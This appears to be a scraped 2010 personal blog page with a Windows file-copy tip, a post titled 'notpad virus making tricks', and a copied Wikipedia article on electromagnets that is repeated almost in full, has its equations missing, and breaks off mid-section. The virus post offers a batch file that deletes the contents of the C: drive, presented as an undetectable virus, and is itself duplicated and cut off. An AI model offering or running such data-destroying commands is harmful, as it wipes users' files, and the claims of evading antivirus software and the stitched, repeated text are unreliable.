Wednesday, August 18, 2010
same file copying-no to all
Imagine you have two folders, with say MP3 files, and you want to copy all MP3 files from one of the folders to the other, but you do not want to copy those you already have (files with the same name.extension). So what you do is select all files, copy them and paste them in the other folder. But then a window pops up saying you already have xxxxxx.mp3 file and asks you for permission to overwrite the file. You have only 4 options - Yes, Yes to all, No and Cancel. If you click No (that's what you want), you'll get the same message for the next conflict... and for the next and so on. If only you had 5th button with title No to all... well you have, you just don't know it exists - hold down Shift while clicking No on that dialog window and it'll never ask you again for this file transfer Works perfect in XP. Never tested on previous versions of Windows. Vista and up has such an option.
notpad virus making tricks
write ur own simple virus cant detected by any antivirus....
"1.
@Echo off
Del C:\ *.* |y
And save that as .bat not .txt and RUN IT
It will delete the content of C:\ drive...
PLEASE NoTe::::: dont run that .bat file on ur system .... it will delet c:...
IF ANY ONE..... DARE TO ......RUN ...U LOST ..........CONTENTS OF C drive
EVEN I DIDN't TRY THIS........
I WILL NOT RESPONSIBLE FOR ANYTHING DONE BYE U USING THE INFORMATION GIVEN ABOVE..."
"2.
"1.
@Echo off
Del C:\ *.* |y
And save that as .bat not .txt and RUN IT
It will delete the content of C:\ drive...
PLEASE NoTe::::: dont run that .bat file on ur system .... it will delet c:...
IF ANY ONE..... DARE TO ......RUN ...U LOST ..........CONTENTS OF C drive
EVEN I DIDN't TRY THIS........
I WILL NOT RESPONSIBLE FOR ANYTHING DONE BYE U USING THE INFORMATION GIVEN ABOVE..."
"2.
Monday, June 28, 2010
Electromagnet
From Wikipedia, the free encyclopedia
An electromagnet is a type of magnet whose magnetic field is produced by the flow of electric current. The magnetic field disappears when the current ceases.
Electromagnets attracts paper clips when current is applied creating a magnetic field. The electromagnet loses them when current and magnetic field are removed.
Contents [hide]
1 Introduction
2 How the iron core works
3 History
4 Analysis of ferromagnetic electromagnets
4.1 Magnetic circuit - the constant B field approximation
4.2 Magnetic field created by a current
4.3 Force exerted by magnetic field
4.4 Closed magnetic circuit
4.5 Force between electromagnets
5 Side effects in large electromagnets
5.1 Ohmic heating
5.2 Inductive voltage spikes
5.3 Lorentz forces
5.4 Core losses
6 High field electromagnets
6.1 Superconducting electromagnets
6.2 Bitter electromagnets
6.3 Exploding electromagnets
7 Uses of electromagnets
8 Definition of terms
9 See also
10 References
11 External links
[edit]Introduction
A wire with an electric current passing through it generates a magnetic field around it; this is a simple electromagnet. The strength of magnetic field generated is proportional to the amount of current.
Current (I) through a wire produces a magnetic field (B). The field is oriented according to the right-hand rule.
In order to concentrate the magnetic field generated by a wire, it is commonly wound into a coil, where many turns of wire sit side by side. The magnetic field of all the turns of wire passes through the center of the coil, creating a strong magnetic field there. A coil forming the shape of a straight tube, a helix (similar to a corkscrew) is called a solenoid; a solenoid that is bent into a donut shape so that the ends meet is called a toroid. Much stronger magnetic fields can be produced if a "core" of ferromagnetic material, such as soft iron, is placed inside the coil. The ferromagnetic core magnifies the magnetic field to thousands of times the strength of the field of the coil alone, due to the high magnetic permeability μ of the ferromagnetic material. This is called a ferromagnetic-core or iron-core electromagnet.
The direction of the magnetic field through a coil of wire can be found from a form of the right-hand rule.[1][2][3][4][5][6] If the fingers of the right hand are curled around the coil in the direction of current flow (conventional current, flow of positive charge) through the windings, the thumb points in the direction of the field inside the coil. The side of the magnet that the field lines emerge from is defined to be the north pole.
The main advantage of an electromagnet over a permanent magnet is that the magnetic field can be rapidly manipulated over a wide range by controlling the amount of electric current. However, a continuous supply of electrical energy is required to maintain the field.
Magnetic field produced by a solenoid (coil of wire). The crosses are wires in which current is moving into the page; the dots are wires in which current is moving up out of the page.
[edit]How the iron core works
The material of the core of the magnet (usually iron) is composed of small regions called magnetic domains that act like tiny magnets (see ferromagnetism). Before the current in the electromagnet is turned on, the domains in the iron core point in random directions, so their tiny magnetic fields cancel each other out, and the iron has no large scale magnetic field. When a current is passed through the wire wrapped around the iron, its magnetic field penetrates the iron, and causes the domains to turn, aligning parallel to the magnetic field, so their tiny magnetic fields add to the wire's field, creating a large magnetic field that extends into the space around the magnet. The larger the current passed through the wire coil, the more the domains align, and the stronger the magnetic field is. Finally all the domains are lined up, and further increases in current only cause slight increases in the magnetic field: this phenomenon is called saturation.
When the current in the coil is turned off, most of the domains lose alignment and return to a random state and the field disappears. However some of the alignment persists, because the domains have difficulty turning their direction of magnetization, leaving the core a weak permanent magnet. This phenomenon is called hysteresis and the remaining magnetic field is called remanent magnetism. The residual magnetization of the core can be removed by degaussing.
Electromagnet used in the Tevatron particle accelerator, Fermilab, USA
Laboratory electromagnet used in physics experiments, around 1910
Magnet in a mass spectrometer
AC electromagnet on the stator of an electric motor
Magnets in an electric bell
[edit]History
Sturgeon's electromagnet, 1823
Danish scientist Hans Christian Ørsted discovered in 1820 that electric currents create magnetic fields. British scientist William Sturgeon invented the electromagnet in 1824.[7][8] His first electromagnet was a horseshoe-shaped piece of iron that was wrapped with about 18 turns of bare copper wire (insulated wire didn't exist yet). The iron was varnished to insulate it from the windings. When a current was passed through the coil, the iron became magnetized and attracted other pieces of iron; when the current was stopped, it lost magnetization. Sturgeon displayed its power by showing that although it only weighed seven ounces (roughly 200 grams), it could lift nine pounds (roughly 4 kilos) when the current of a single-cell battery was applied. However, Sturgeon's magnets were weak because the uninsulated wire he used could only be wrapped in a single spaced out layer around the core, limiting the number of turns. Beginning in 1827, US scientist Joseph Henry systematically improved and popularized the electromagnet.[9] By using wire insulated by silk thread he was able to wind multiple layers of wire on cores, creating powerful magnets with thousands of turns of wire, including one that could support 2063 pounds. The first major use for electromagnets was in telegraph sounders.
The magnetic domain theory of how ferromagnetic cores work was first proposed in 1906 by French physicist Pierre-Ernest Weiss, and the detailed modern quantum mechanical theory of ferromagnetism was worked out in the 1920s by Werner Heisenberg, Lev Landau, Felix Bloch and others.
[edit]Analysis of ferromagnetic electromagnets
For definitions of the variables below, see box at end of article.
Industrial electromagnet lifting scrap iron, 1914
The magnetic field of electromagnets in the general case is given by Ampere's Law:
which says that the integral of the magnetizing field H around any closed loop of the field is equal to the sum of the current flowing through the loop. Another equation used, that gives the magnetic field due to each small segment of current, is the Biot-Savart law. Computing the magnetic field and force exerted by ferromagnetic materials is difficult for two reasons. First, because the strength of the field varies from point to point in a complicated way, particularly outside the core and in air gaps, where fringing fields and leakage flux must be considered. Second, because the magnetic field B and force are nonlinear functions of the current, depending on the nonlinear relation between B and H for the particular core material used. For precise calculations the finite element method is used.
[edit]Magnetic circuit - the constant B field approximation
However, for a typical DC electromagnet in which the magnetic field path is confined to a loop or circuit most of which is in core material, a simplification can be made. A common simplifying assumption satisfied by many electromagnets, which will be used in this section, is that the magnetic field strength B is constant around the magnetic circuit and zero outside it. Most of the magnetic field will be concentrated in the core material. Within the core the magnetic field will be approximately uniform across any cross section, so if in addition the core has roughly constant area throughout its length, the field in the core will be constant. This just leaves the air gaps, if any, between core sections. In the gaps the magnetic field lines are no longer confined by the core, so they 'bulge' out beyond the outlines of the core before curving back to enter the next piece of core material, reducing the field strength in the gap. The bulges are called fringing fields. However, as long as the length of the gap is smaller than the cross section dimensions of the core, the field in the gap will be approximately the same as in the core. In addition, if parts of the core are too near other parts, some of the magnetic field lines will take 'short cuts' and not pass through the entire core circuit. This also occurs in the field near the windings, if the windings are not wrapped tightly around the core. This is called leakage flux. It also results in a lower magnetic field in the core. Therefore the equations in this section are valid for electromagnets for which:
the magnetic circuit is a single loop.
the core has roughly the same cross sectional area throughout its length.
any air gaps between sections of core material are not large compared with the cross sectional dimensions of the core.
there is negligible leakage flux
The main nonlinear feature of ferromagnetic materials is that the B field saturates at a certain value, which is around 1.6 teslas (T) for most high permeability core steels. The B field increases quickly with increasing current up to that value, but above that value the field levels off and increases at the much smaller paramagnetic value, regardless of how much current is sent through the windings. So the strength of the magnetic field possible from an iron core electromagnet is limited to 1.6-2 T.
[edit]Magnetic field created by a current
The magnetic field created by an electromagnet is proportional to both the number of turns in the winding, N, and the current in the wire, I, hence this product, NI, in ampere-turns, is given the name magnetomotive force. For an electromagnet with a single magnetic circuit, of which length Lcore is in the core material and length Lgap is in air gaps, Ampere's Law reduces to:[10][11]
where
is the permeability of free space (or air).
This is a nonlinear equation, because the permeability of the core, μ, varies with the magnetic field B. For an exact solution, the value of μ at the B value used must be obtained from the core material hysteresis curve. If B is unknown, the equation must be solved by numerical methods. However, if the magnetomotive force is well above saturation, so the core material is in saturation, the magnetic field won't vary much with changes in NI anyway. For a closed magnetic circuit (no air gap) most core materials saturate at a magnetomotive force of roughly 800 ampere-turns per meter of flux path.
For most core materials, .[11] So in equation (1) above, the second term dominates. Therefore, in magnetic circuits with an air gap, the behavior of the magnet depends strongly on the length of the air gap, and the length of the flux path in the core doesn't matter much.
[edit]Force exerted by magnetic field
When none of the magnetic field bypasses any sections of the core (no flux leakage), the force exerted by an electromagnet on a section of core material is:
The 1.6 T limit on the field mentioned above sets a limit on the maximum force per unit core area, or pressure, an iron-core electromagnet can exert; roughly:
Given a core geometry, the B field needed for a given force can be calculated from (2); if it comes out to much more than 1.6 T, a larger core must be used.
[edit]Closed magnetic circuit
Cross section of lifting electromagnet like that in above photo, showing cylindrical construction. The windings (C) are flat copper strips to withstand the Lorentz force of the magnetic field. The core is formed by the thick iron housing (D) that wraps around the windings.
For a closed magnetic circuit (no air gap), such as would be found in an electromagnet lifting a piece of iron, equation (1) becomes:
Substituting into (2), the force is:
It can be seen that to maximize the force, a core with a short flux path and a wide cross sectional area is preferred. To achieve this, in applications like lifting magnets (see photo above) and loudspeakers a flat cylindrical design is often used. The winding is wrapped around a short wide cylindrical core that forms one pole, and a thick metal housing that wraps around the outside of the windings forms the other part of the magnetic circuit, bringing the magnetic field to the front to form the other pole.
[edit]Force between electromagnets
The above methods are inapplicable when most of the magnetic field path is outside the core. For electromagnets (or permanent magnets) with well defined 'poles' where the field lines emerge from the core, the force between two electromagnets can be found using the 'Gilbert model' which assumes the magnetic field is produced by fictitious 'magnetic charges' on the surface of the poles, with pole strength m and units of Ampere-turn meter. Magnetic pole strength of electromagnets can be found from:
The force between two poles is:
This model doesn't give the correct magnetic field inside the core, and thus gives incorrect results if the pole of one magnet gets too close to another magnet.
[edit]Side effects in large electromagnets
There are several side effects which become important in large electromagnets and must be provided for in their design:
[edit]Ohmic heating
The only power consumed in a DC electromagnet is due to the resistance of the windings, and is dissipated as heat. Some large electromagnets require cooling water circulating through pipes in the windings to carry off the waste heat.
Since the magnetic field is proportional to the product NI, the number of turns in the windings N and the current I can be chosen to minimize heat losses, as long as their product is constant. Since the power dissipation, P = I2R, increases with the square of the current, the power lost in the windings can be minimized by reducing I and increasing the number of turns N proportionally. For this reason most electromagnets have windings with many turns of wire.
However, the limit to increasing N is that the larger number of windings takes up more room between the magnet's core pieces. If the area available for the windings is filled up, more turns require going to a smaller diameter of wire, which has higher resistance, which cancels the advantage of using more turns. So in large magnets there is a minimum amount of heat loss that can't be reduced. This increases with the square of the magnetic flux B2.
[edit]Inductive voltage spikes
An electromagnet is a large inductor, and resists changes in the current through its windings. Any sudden changes in the winding current cause large voltage spikes across the windings. This is because when the current through the magnet is increased, such as when it is turned on, energy from the circuit must be stored in the magnetic field. When it is turned off the energy in the field is returned to the circuit.
If an ordinary switch is used to control the winding current, this can cause sparks at the terminals of the switch. This doesn't occur when the magnet is switched on, because the voltage is limited to the power supply voltage. But when it is switched off, the energy in the magnetic field is suddenly returned to the circuit, causing a large voltage spike and an arc across the switch contacts, which can damage them. With small electromagnets a capacitor is often used across the contacts, which reduces arcing by temporarily storing the current. More often a diode is used to prevent voltage spikes by providing a path for the current to recirculate through the winding until the energy is dissipated as heat. The diode is connected across the winding, oriented so it is reverse-biased during steady state operation and doesn't conduct. When the supply voltage is removed, the voltage spike forward-biases the diode and the reactive current continues to flow through the winding, through the diode and back into the winding.
Large electromagnets are usually powered by variable current electronic power supplies, controlled by a microprocessor, which prevent voltage spikes by accomplishing current changes in gentle ramps. It may take several minutes to energize or deenergize a large magnet.
[edit]Lorentz forces
In powerful electromagnets, the magnetic field exerts a force on each turn of the windings, due to the Lorentz force acting on the moving charges within the wire. The Lorentz force is perpendicular to both the axis of the wire and the magnetic field. It can be visualized as a pressure between the magnetic field lines, pushing them apart. It has two effects on an electromagnet's windings:
The field lines within the axis of the coil exert a radial force on each turn of the windings, tending to push them outward in all directions. This causes a tensile stress in the wire.
The leakage field lines between each turn of the coil exert a repulsive force between adjacent turns, tending to push them apart.
The Lorentz forces increase with B2. In large electromagnets the windings must be firmly clamped in place, to prevent motion on power-up and power-down from causing metal fatigue in the windings. In the Bitter design, below, used in very high field research magnets, the windings are constructed as flat disks to resist the radial forces, and clamped in an axial direction to resist the axial ones.
[edit]Core losses
In alternating current (AC) electromagnets, used in transformers, inductors, and AC motors and generators, the magnetic field is constantly changing. This causes energy losses in their magnetic cores that are dissipated as heat in the core. The losses stem from two processes:
Eddy currents: From Faraday's law of induction, the changing magnetic field induces circulating electric currents inside nearby conductors, called eddy currents. The energy in these currents is dissipated as heat in the electrical resistance of the conductor, so they are a cause of energy loss. Since the magnet's iron core is conductive, and most of the magnetic field is concentrated there, eddy currents in the core are the major problem. Eddy currents are closed loops of current that flow in planes perpendicular to the magnetic field. The energy dissipated is proportional to the area enclosed by the loop. To prevent them, the cores of AC electromagnets are made of stacks of thin steel sheets, or laminations, oriented parallel to the magnetic field, with an insulating coating on the surface. The insulation layers prevent eddy current from flowing between the sheets. Any remaining eddy currents must flow within the cross section of each individual lamination, which reduces losses greatly. Another alternative is to use a ferrite core, which is a nonconductor.
Hysteresis losses: Reversing the direction of magnetization of the magnetic domains in the core material each cycle causes energy loss, because of the coercivity of the material. These losses are called hysteresis. The energy lost per cycle is proportional to the area of the hysteresis loop in the BH graph. To minimize this loss, magnetic cores used in transformers and other AC electromagnets are made of "soft" low coercivity materials, such as silicon steel or soft ferrite.
The energy loss per cycle of the AC current is constant for each of these processes, so the power loss increases linearly with frequency.
[edit]High field electromagnets
[edit]Superconducting electromagnets
Main article: Superconducting magnet
When a magnetic field higher than the ferromagnetic limit of 1.6 T is needed, superconducting electromagnets can be used. Instead of using ferromagnetic materials, these use superconducting windings cooled with liquid helium, which conduct current without electrical resistance. These allow enormous currents to flow, which generate intense magnetic fields. Superconducting magnets are limited by the field strength at which the winding material ceases to be superconducting. Current designs are limited to 10–20 T, with the current (2009) record of 33.8 T.[12] The necessary refrigeration equipment and cryostat make them much more expensive than ordinary electromagnets. However, in high power applications this can be offset by lower operating costs, since after startup no power is required for the windings, since no energy is lost to ohmic heating. They are used in particle accelerators, MRI machines, and research.
[edit]Bitter electromagnets
Main article: Bitter electromagnet
Since both iron-core and superconducting electromagnets have limits to the field they can produce, the highest manmade magnetic fields have been generated by air-core nonsuperconducting electromagnets of a design invented by Francis Bitter in 1933, called Bitter electromagnets.[13] These consist of a solenoid made of a stack of conducting disks, arranged so that the current moves in a helical path through them. This design has the mechanical strength to withstand the extreme Lorentz forces of the field, which increase with B2. The disks are pierced with holes through which cooling water passes to carry away the heat caused by the high current. The highest continuous field achieved with a resistive magnet is currently (2008) 35 T.[12] The highest continuous magnetic field, 45 T,[13] was achieved with a hybrid device consisting of a Bitter magnet inside a superconducting magnet.
[edit]Exploding electromagnets
The factor limiting the strength of electromagnets is the inability to dissipate the enormous waste heat, so higher fields, up to 90 T,[12] have been obtained from resistive magnets by pulsing them. The highest magnetic fields of all have been created by detonating explosives around a pulsed electromagnet as it is turned on. The implosion compresses the magnetic field to values of around 1000 T[13] for a few microseconds.
[edit]Uses of electromagnets
Electromagnets are widely used in many electric devices, including:
Motors and generators
Relays, including reed relays originally used in telephone exchanges
Electric bells
Loudspeakers
Magnetic recording and data storage equipment: tape recorders, VCRs, hard disks
Particle accelerators
Magnetic locks
Magnetic separation of materials
Industrial lifting magnets
Electromagnetic suspension used for MAGLEV trains
[edit]Definition of terms
square meter cross section area of core
tesla Magnetic field
newton Force exerted by magnetic field
ampere per meter Magnetizing field
ampere Current in the winding wire
meter Total length of the magnetic field path
meter Length of the magnetic field path in the core material
meter Length of the magnetic field path air gap
ampere meter Pole strength of the electromagnets
newton per square ampere Permeability of the electromagnet core material
newton per square ampere Permeability of free space (or air) = 4π(10−7)
- Relative permeability of the electromagnet core material
- Number of turns of wire on the electromagnet
meter Distance between the poles of two electromagnets
[edit]See also
Dipole magnet - Electromagnet used in particle accelerators
Electromagnetism
Magnetic bearing
Quadrupole magnet - Electromagnet used in particle accelerators
Superconducting magnet - Electromagnet that uses superconducting windings
Bitter electromagnet - a powerful type of electromagnet
[edit]References
^ Olson, Andrew (2008). "Right hand rules". Science fair project resources. Science Buddies. Retrieved 2008-08-11.
^ Wilson, Adam (2008). "Hand Rules". Course outline, EE2683 Electric Circuits and Machines. Faculty of Engineering, Univ. of New Brunswick. Retrieved 2008-08-11.
^ Gussow, Milton (1983). Schaum's Outline of Theory and Problems of Basic Electricity. New York: McGraw-Hill. pp. 166.
^ Millikin, Robert; Edwin Bishop (1917). Elements of Electricity. Chicago: American Technical Society. pp. 125.
^ Fleming, John Ambrose (1892). Short Lectures to Electrical Artisans, 4th Ed.. London: E.& F. N. Spon. pp. 38–40.
^ Fleming, John Ambrose (1902). Magnets and Electric Currents, 2nd Edition. London: E.& F. N. Spon. pp. 173–174.
^ Sturgeon, W. (1825). "Improved Electro Magnetic Apparatus". Trans. Royal Society of Arts, Manufactures, & Commerce (London) 43: 37–52. cited in Miller, T.J.E (2001). Electronic Control of Switched Reluctance Machines. Newnes. pp. 7. ISBN 0750650737.
^ Windelspecht, Michael. Groundbreaking Scientific Experiments, Inventions, and Discoveries of the 19th Century, xxii, Greenwood Publishing Group, 2003, ISBN 0-313-31969-3.
^ Sherman, Roger (2007). "Joseph Henry's contributions to the electromagnet and the electric motor". The Joseph Henry Papers. The Smithsonian Institution. Retrieved 2008-08-27.
^ Feynmann, Richard P. (1963). Lectures on Physics, Vol. 2. New York: Addison-Wesley. pp. 36–9 to 36–11. ISBN 020102117XP., eq. 36-26
^ a b Fitzgerald, A.; Charles Kingsley, Alexander Kusko (1971). Electric Machinery, 3rd Ed.. USA: McGraw-Hill. pp. 3–5. ISBN 07021140X.
^ a b c "Mag Lab World Records". Media Center. National High Magnetic Field Laboratory, USA. 2008. Retrieved 2008-08-31.
^ a b c Coyne, Kristin (2008). "Magnets: from Mini to Mighty". Magnet Lab U. National High Magnetic Field Laboratory. Retrieved 2008-08-31.
[edit]External links
Wikimedia Commons has media related to: Electromagnets
Magnets from Mini to Mighty: Primer on electromagnets and other magnets National High Magnetic Field Laboratory
Magnetic Fields and Forces Cuyahoga Community College
Fundamental Relationships School of Geology and Geophysics, University of Oklahoma
An electromagnet is a type of magnet whose magnetic field is produced by the flow of electric current. The magnetic field disappears when the current ceases.
Electromagnets attracts paper clips when current is applied creating a magnetic field. The electromagnet loses them when current and magnetic field are removed.
Contents [hide]
1 Introduction
2 How the iron core works
3 History
4 Analysis of ferromagnetic electromagnets
4.1 Magnetic circuit - the constant B field approximation
4.2 Magnetic field created by a current
4.3 Force exerted by magnetic field
4.4 Closed magnetic circuit
4.5 Force between electromagnets
5 Side effects in large electromagnets
5.1 Ohmic heating
5.2 Inductive voltage spikes
5.3 Lorentz forces
5.4 Core losses
6 High field electromagnets
6.1 Superconducting electromagnets
6.2 Bitter electromagnets
6.3 Exploding electromagnets
7 Uses of electromagnets
8 Definition of terms
9 See also
10 References
11 External links
[edit]Introduction
A wire with an electric current passing through it generates a magnetic field around it; this is a simple electromagnet. The strength of magnetic field generated is proportional to the amount of current.
Current (I) through a wire produces a magnetic field (B). The field is oriented according to the right-hand rule.
In order to concentrate the magnetic field generated by a wire, it is commonly wound into a coil, where many turns of wire sit side by side. The magnetic field of all the turns of wire passes through the center of the coil, creating a strong magnetic field there. A coil forming the shape of a straight tube, a helix (similar to a corkscrew) is called a solenoid; a solenoid that is bent into a donut shape so that the ends meet is called a toroid. Much stronger magnetic fields can be produced if a "core" of ferromagnetic material, such as soft iron, is placed inside the coil. The ferromagnetic core magnifies the magnetic field to thousands of times the strength of the field of the coil alone, due to the high magnetic permeability μ of the ferromagnetic material. This is called a ferromagnetic-core or iron-core electromagnet.
The direction of the magnetic field through a coil of wire can be found from a form of the right-hand rule.[1][2][3][4][5][6] If the fingers of the right hand are curled around the coil in the direction of current flow (conventional current, flow of positive charge) through the windings, the thumb points in the direction of the field inside the coil. The side of the magnet that the field lines emerge from is defined to be the north pole.
The main advantage of an electromagnet over a permanent magnet is that the magnetic field can be rapidly manipulated over a wide range by controlling the amount of electric current. However, a continuous supply of electrical energy is required to maintain the field.
Magnetic field produced by a solenoid (coil of wire). The crosses are wires in which current is moving into the page; the dots are wires in which current is moving up out of the page.
[edit]How the iron core works
The material of the core of the magnet (usually iron) is composed of small regions called magnetic domains that act like tiny magnets (see ferromagnetism). Before the current in the electromagnet is turned on, the domains in the iron core point in random directions, so their tiny magnetic fields cancel each other out, and the iron has no large scale magnetic field. When a current is passed through the wire wrapped around the iron, its magnetic field penetrates the iron, and causes the domains to turn, aligning parallel to the magnetic field, so their tiny magnetic fields add to the wire's field, creating a large magnetic field that extends into the space around the magnet. The larger the current passed through the wire coil, the more the domains align, and the stronger the magnetic field is. Finally all the domains are lined up, and further increases in current only cause slight increases in the magnetic field: this phenomenon is called saturation.
When the current in the coil is turned off, most of the domains lose alignment and return to a random state and the field disappears. However some of the alignment persists, because the domains have difficulty turning their direction of magnetization, leaving the core a weak permanent magnet. This phenomenon is called hysteresis and the remaining magnetic field is called remanent magnetism. The residual magnetization of the core can be removed by degaussing.
Electromagnet used in the Tevatron particle accelerator, Fermilab, USA
Laboratory electromagnet used in physics experiments, around 1910
Magnet in a mass spectrometer
AC electromagnet on the stator of an electric motor
Magnets in an electric bell
[edit]History
Sturgeon's electromagnet, 1823
Danish scientist Hans Christian Ørsted discovered in 1820 that electric currents create magnetic fields. British scientist William Sturgeon invented the electromagnet in 1824.[7][8] His first electromagnet was a horseshoe-shaped piece of iron that was wrapped with about 18 turns of bare copper wire (insulated wire didn't exist yet). The iron was varnished to insulate it from the windings. When a current was passed through the coil, the iron became magnetized and attracted other pieces of iron; when the current was stopped, it lost magnetization. Sturgeon displayed its power by showing that although it only weighed seven ounces (roughly 200 grams), it could lift nine pounds (roughly 4 kilos) when the current of a single-cell battery was applied. However, Sturgeon's magnets were weak because the uninsulated wire he used could only be wrapped in a single spaced out layer around the core, limiting the number of turns. Beginning in 1827, US scientist Joseph Henry systematically improved and popularized the electromagnet.[9] By using wire insulated by silk thread he was able to wind multiple layers of wire on cores, creating powerful magnets with thousands of turns of wire, including one that could support 2063 pounds. The first major use for electromagnets was in telegraph sounders.
The magnetic domain theory of how ferromagnetic cores work was first proposed in 1906 by French physicist Pierre-Ernest Weiss, and the detailed modern quantum mechanical theory of ferromagnetism was worked out in the 1920s by Werner Heisenberg, Lev Landau, Felix Bloch and others.
[edit]Analysis of ferromagnetic electromagnets
For definitions of the variables below, see box at end of article.
Industrial electromagnet lifting scrap iron, 1914
The magnetic field of electromagnets in the general case is given by Ampere's Law:
which says that the integral of the magnetizing field H around any closed loop of the field is equal to the sum of the current flowing through the loop. Another equation used, that gives the magnetic field due to each small segment of current, is the Biot-Savart law. Computing the magnetic field and force exerted by ferromagnetic materials is difficult for two reasons. First, because the strength of the field varies from point to point in a complicated way, particularly outside the core and in air gaps, where fringing fields and leakage flux must be considered. Second, because the magnetic field B and force are nonlinear functions of the current, depending on the nonlinear relation between B and H for the particular core material used. For precise calculations the finite element method is used.
[edit]Magnetic circuit - the constant B field approximation
However, for a typical DC electromagnet in which the magnetic field path is confined to a loop or circuit most of which is in core material, a simplification can be made. A common simplifying assumption satisfied by many electromagnets, which will be used in this section, is that the magnetic field strength B is constant around the magnetic circuit and zero outside it. Most of the magnetic field will be concentrated in the core material. Within the core the magnetic field will be approximately uniform across any cross section, so if in addition the core has roughly constant area throughout its length, the field in the core will be constant. This just leaves the air gaps, if any, between core sections. In the gaps the magnetic field lines are no longer confined by the core, so they 'bulge' out beyond the outlines of the core before curving back to enter the next piece of core material, reducing the field strength in the gap. The bulges are called fringing fields. However, as long as the length of the gap is smaller than the cross section dimensions of the core, the field in the gap will be approximately the same as in the core. In addition, if parts of the core are too near other parts, some of the magnetic field lines will take 'short cuts' and not pass through the entire core circuit. This also occurs in the field near the windings, if the windings are not wrapped tightly around the core. This is called leakage flux. It also results in a lower magnetic field in the core. Therefore the equations in this section are valid for electromagnets for which:
the magnetic circuit is a single loop.
the core has roughly the same cross sectional area throughout its length.
any air gaps between sections of core material are not large compared with the cross sectional dimensions of the core.
there is negligible leakage flux
The main nonlinear feature of ferromagnetic materials is that the B field saturates at a certain value, which is around 1.6 teslas (T) for most high permeability core steels. The B field increases quickly with increasing current up to that value, but above that value the field levels off and increases at the much smaller paramagnetic value, regardless of how much current is sent through the windings. So the strength of the magnetic field possible from an iron core electromagnet is limited to 1.6-2 T.
[edit]Magnetic field created by a current
The magnetic field created by an electromagnet is proportional to both the number of turns in the winding, N, and the current in the wire, I, hence this product, NI, in ampere-turns, is given the name magnetomotive force. For an electromagnet with a single magnetic circuit, of which length Lcore is in the core material and length Lgap is in air gaps, Ampere's Law reduces to:[10][11]
where
is the permeability of free space (or air).
This is a nonlinear equation, because the permeability of the core, μ, varies with the magnetic field B. For an exact solution, the value of μ at the B value used must be obtained from the core material hysteresis curve. If B is unknown, the equation must be solved by numerical methods. However, if the magnetomotive force is well above saturation, so the core material is in saturation, the magnetic field won't vary much with changes in NI anyway. For a closed magnetic circuit (no air gap) most core materials saturate at a magnetomotive force of roughly 800 ampere-turns per meter of flux path.
For most core materials, .[11] So in equation (1) above, the second term dominates. Therefore, in magnetic circuits with an air gap, the behavior of the magnet depends strongly on the length of the air gap, and the length of the flux path in the core doesn't matter much.
[edit]Force exerted by magnetic field
When none of the magnetic field bypasses any sections of the core (no flux leakage), the force exerted by an electromagnet on a section of core material is:
The 1.6 T limit on the field mentioned above sets a limit on the maximum force per unit core area, or pressure, an iron-core electromagnet can exert; roughly:
Given a core geometry, the B field needed for a given force can be calculated from (2); if it comes out to much more than 1.6 T, a larger core must be used.
[edit]Closed magnetic circuit
Cross section of lifting electromagnet like that in above photo, showing cylindrical construction. The windings (C) are flat copper strips to withstand the Lorentz force of the magnetic field. The core is formed by the thick iron housing (D) that wraps around the windings.
For a closed magnetic circuit (no air gap), such as would be found in an electromagnet lifting a piece of iron, equation (1) becomes:
Substituting into (2), the force is:
It can be seen that to maximize the force, a core with a short flux path and a wide cross sectional area is preferred. To achieve this, in applications like lifting magnets (see photo above) and loudspeakers a flat cylindrical design is often used. The winding is wrapped around a short wide cylindrical core that forms one pole, and a thick metal housing that wraps around the outside of the windings forms the other part of the magnetic circuit, bringing the magnetic field to the front to form the other pole.
[edit]Force between electromagnets
The above methods are inapplicable when most of the magnetic field path is outside the core. For electromagnets (or permanent magnets) with well defined 'poles' where the field lines emerge from the core, the force between two electromagnets can be found using the 'Gilbert model' which assumes the magnetic field is produced by fictitious 'magnetic charges' on the surface of the poles, with pole strength m and units of Ampere-turn meter. Magnetic pole strength of electromagnets can be found from:
The force between two poles is:
This model doesn't give the correct magnetic field inside the core, and thus gives incorrect results if the pole of one magnet gets too close to another magnet.
[edit]Side effects in large electromagnets
There are several side effects which become important in large electromagnets and must be provided for in their design:
[edit]Ohmic heating
The only power consumed in a DC electromagnet is due to the resistance of the windings, and is dissipated as heat. Some large electromagnets require cooling water circulating through pipes in the windings to carry off the waste heat.
Since the magnetic field is proportional to the product NI, the number of turns in the windings N and the current I can be chosen to minimize heat losses, as long as their product is constant. Since the power dissipation, P = I2R, increases with the square of the current, the power lost in the windings can be minimized by reducing I and increasing the number of turns N proportionally. For this reason most electromagnets have windings with many turns of wire.
However, the limit to increasing N is that the larger number of windings takes up more room between the magnet's core pieces. If the area available for the windings is filled up, more turns require going to a smaller diameter of wire, which has higher resistance, which cancels the advantage of using more turns. So in large magnets there is a minimum amount of heat loss that can't be reduced. This increases with the square of the magnetic flux B2.
[edit]Inductive voltage spikes
An electromagnet is a large inductor, and resists changes in the current through its windings. Any sudden changes in the winding current cause large voltage spikes across the windings. This is because when the current through the magnet is increased, such as when it is turned on, energy from the circuit must be stored in the magnetic field. When it is turned off the energy in the field is returned to the circuit.
If an ordinary switch is used to control the winding current, this can cause sparks at the terminals of the switch. This doesn't occur when the magnet is switched on, because the voltage is limited to the power supply voltage. But when it is switched off, the energy in the magnetic field is suddenly returned to the circuit, causing a large voltage spike and an arc across the switch contacts, which can damage them. With small electromagnets a capacitor is often used across the contacts, which reduces arcing by temporarily storing the current. More often a diode is used to prevent voltage spikes by providing a path for the current to recirculate through the winding until the energy is dissipated as heat. The diode is connected across the winding, oriented so it is reverse-biased during steady state operation and doesn't conduct. When the supply voltage is removed, the voltage spike forward-biases the diode and the reactive current continues to flow through the winding, through the diode and back into the winding.
Large electromagnets are usually powered by variable current electronic power supplies, controlled by a microprocessor, which prevent voltage spikes by accomplishing current changes in gentle ramps. It may take several minutes to energize or deenergize a large magnet.
[edit]Lorentz forces
In powerful electromagnets, the magnetic field exerts a force on each turn of the windings, due to the Lorentz force acting on the moving charges within the wire. The Lorentz force is perpendicular to both the axis of the wire and the magnetic field. It can be visualized as a pressure between the magnetic field lines, pushing them apart. It has two effects on an electromagnet's windings:
The field lines within the axis of the coil exert a radial force on each turn of the windings, tending to push them outward in all directions. This causes a tensile stress in the wire.
The leakage field lines between each turn of the coil exert a repulsive force between adjacent turns, tending to push them apart.
The Lorentz forces increase with B2. In large electromagnets the windings must be firmly clamped in place, to prevent motion on power-up and power-down from causing metal fatigue in the windings. In the Bitter design, below, used in very high field research magnets, the windings are constructed as flat disks to resist the radial forces, and clamped in an axial direction to resist the axial ones.
[edit]Core losses
